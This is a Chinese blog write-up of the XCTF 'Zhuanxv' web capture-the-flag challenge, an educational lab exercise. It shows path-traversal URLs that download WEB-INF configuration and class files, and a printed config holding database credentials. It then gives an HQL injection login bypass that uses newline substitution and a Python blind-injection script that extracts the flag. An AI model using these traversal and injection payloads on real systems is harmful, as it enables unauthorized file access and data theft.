xctf攻防世界 Web高手进阶区 Zhuanxv

1.进入环境,查看内容

在这里插入图片描述
没有什么其他信息,尝试dirsearch一下,如图:
在这里插入图片描述
发现有/list页面,我们尝试一下,发现让登录,如图:
在这里插入图片描述
猜测是需要想办法登入,从而拿到flag

2.问题分析

  1. 对内容进行抓包
    先forward,然后再通过action送入repeater,如图:
    在这里插入图片描述
    发现图片是请求加载的,也就是通过后端传说过来的,那么可以响应的url,如图:在这里插入图片描述
    通过/loadimage?fileName=web_login_bg.jpg拿到了图片。既然知道了服务器的地址和请求路径,我们就通过路径访问得到项目的xml配置文件,于是构造payload:
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/web.xml

,是个下载文件,bg.jpg。(有人可能会问,为什么就知道xml位于那个位置,这是因为写web项目的时候有层级要求,一般效果如图:)在这里插入图片描述
static目录一般放置资源等,图片、文本等,一般上上级的WEB-INF会放配置文件,如图:在这里插入图片描述

  1. 分析xml文件信息
    使用vscode打开代码,如下:
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
         xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>Struts Blank</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>/ctfpage/index.jsp</welcome-file>
    </welcome-file-list>
    <error-page>
        <error-code>404</error-code>
        <location>/ctfpage/404.html</location>
    </error-page>
</web-app>

可以看到,该项目使用的struts2框架(丫的老掉牙了),struts.xml是struts2的核心配置文件,该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等,因此我们需要读取struts.xml看看,构造payload:

http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/struts.xml

得到内容如下:

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
    <constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>


        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

可以看到有很多class,这就是所谓的映射文件,如 表示访问loadimage路径时候,会去找字节码com.cuitctf.action.DownloadAction文件去加载内容,我们一一构造payload:

http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class

下载下来后请记得修改文件名称.class,然后在vscode中使用decompiler插件进行反编译,挨个查看后,发现UserLoginAction.class反编译出来的内容与登录页面最为相关,如图:在这里插入图片描述
其中引入了重要的几个包,因此构造payload,拿到源码:

http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

User.class反编译后是一个Bean文件,UserLoginAction.class反编译后是登录验证逻辑文件,InitApplicationContext.class反编译后是类加载器文件,如图:
在这里插入图片描述
我们可以看到,加载应用的xml配置文件为applicationContext.xml,该文件一般是项目的启动配置文件,包括数据库等,同样构造payload,如下:

http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

下载后可以得到文件代码,如下:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>            
</beans>

其中暴露了使用的数据库,数据库账号密码,且其中包含了user.hbm.xml等配置文件,同样我们将其下载出来:

http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
http://111.200.241.244:57001/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class

可以看到user.hbm.xml暗示了flag在数据库中位置,如图:
在这里插入图片描述
UserServiceImpl.class反编译后,是对登录信息进行了过滤,如图:
在这里插入图片描述
UserDaoImpl.class反编译后,是对登录的sql查找,如图:
在这里插入图片描述
到这里已经尽力了,开始参考网上的wp了。

  1. 构造登录
    此处参考网上大佬的wp,上面图的sql语句使用HSQL,什么是HSQL,参考这里:https://www.cnblogs.com/fengyouheng/p/11013013.html。因此构造登录账号密码:
from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'

UserServiceImpl.class反编译后代码中是对空格进行了过滤,而sql中对回车自动过滤, 因此我们可以将空格字符换成%0A(ascii码表示换行符)。于是使用hackbar进行翻译,得到新的注入sql的payload:

admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin

因此用户名:admin’%0Aor%0A’1’>‘0’%0Aor%0Aname%0Alike%0A’admin
密码:123(随便)
注意一定要使用hackbar进行登录,用主页登录没有反应,如图:
在这里插入图片描述
登入后,界面如图:在这里插入图片描述
好像也没有什么可以得到的信息,接着跟着wp进行操作。

  1. 掏出脚本子
import requests
s=requests.session()
 
flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        # (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '
        payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://111.200.241.244:57001/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print(i,flag)
            break
        p=chr(j)

说实话,我一直不理解payload中的substr是想干嘛,而且id < 2是为了干什么。。。来个大佬解释一下!

结果如图:
在这里插入图片描述
结果为:sctf{C46E250926A2DFFD831975396222B08E}

3.总结

  • 代码审计
  • 字符绕过
  • 反编译
  • 构造payload
  • 脚本子

这个题好歹可以看懂,如有问题,欢迎留言讨论

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

l8947943

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值